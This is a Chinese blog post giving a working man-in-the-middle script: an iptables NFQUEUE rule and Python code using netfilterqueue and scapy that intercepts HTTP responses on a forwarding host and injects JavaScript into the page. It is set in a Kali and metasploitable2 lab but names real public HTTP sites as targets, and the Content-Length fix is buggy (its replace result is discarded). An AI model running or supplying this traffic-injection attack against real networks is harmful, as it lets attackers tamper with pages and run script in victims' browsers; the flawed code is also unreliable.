利用Python Netfilter与Scapy向网页中插入Javascript代码

 

应用场景:目标在访问网站(HTTP,非加密)时,通过修改目标的HTTP响应报文,从而插入代码比如javascript。

应用模块:可利用Python的Netfilterqueue以及scapy第三方模块,前者主要实现对截获的报文进行队列处理,而后者可对队列中的报文进行查看、修改、转发等

实验环境:

     1. 攻击平台可选择Kali Linux

        2. 客户端选择metasploitable2,模拟目标在该机器上访问网站下载文件等操作

      3. 由于现在HTTP网站比较少,笔者选择了网站:http://getwanip.com/testvirus.php或者http://xcal1.vodafone.co.uk/

      4. 设置iptables规则:

 

#iptables -I FORWARD -j NFQUEUE --queue-num 0

 



import netfilterqueue
from scapy.all import *
import re


def modify_payload(scapy_packet,load_change):
    scapy_packet[Raw].load = load_change.encode('utf-8')
    del scapy_packet[IP].len
    del scapy_packet[IP].chksum
    del scapy_packet[TCP].chksum
    return scapy_packet



def packet_handler(pkt):
    #Convert pkt to packet in the format of scapy to process and analyze
    scapy_packet = IP(pkt.get_payload())
    if scapy_packet.haslayer(Raw) and scapy_packet.haslayer(TCP):
        if scapy_packet[TCP].dport == 80:
            print("This is Request.................")
            # print(scapy_packet.show())


        elif scapy_packet[TCP].sport == 80:

            load = scapy_packet[Raw].load.decode('utf-8')           
            java_script = '<script>alert("hi, jason")</script>'                      #插入任何Javascript代码
            modified_load = load.replace("</table>", java_script+"</table>")         #选择Javascript代码插入的地方,比如</body>前面,但是我测试的这个网站比较奇葩,没有</body>标签

            content_length_search = re.search(r'(?:Content-Length:\s)(\d*)', load)  #对于有Content-lengh字段的响应报文需要修改(并不是所有返回的响应报文都有这个字段)
            if content_length_search and 'text/html':
                content_length = content_length_search.group(1)
                print("Length of content is : %s" % content_length)
                new_content_length = int(content_length)+len(java_script)
                modified_load.replace(content_length, str(new_content_length))
            scapy_packet = modify_payload(scapy_packet, modified_load)

            pkt.set_payload(bytes(scapy_packet))


   
    pkt.accept()


queue = netfilterqueue.NetfilterQueue()
queue.bind(0, packet_handler)
queue.run()

 

posted @ 2022-04-01 17:26  Jason_huawen  阅读(116)  评论(0编辑  收藏  举报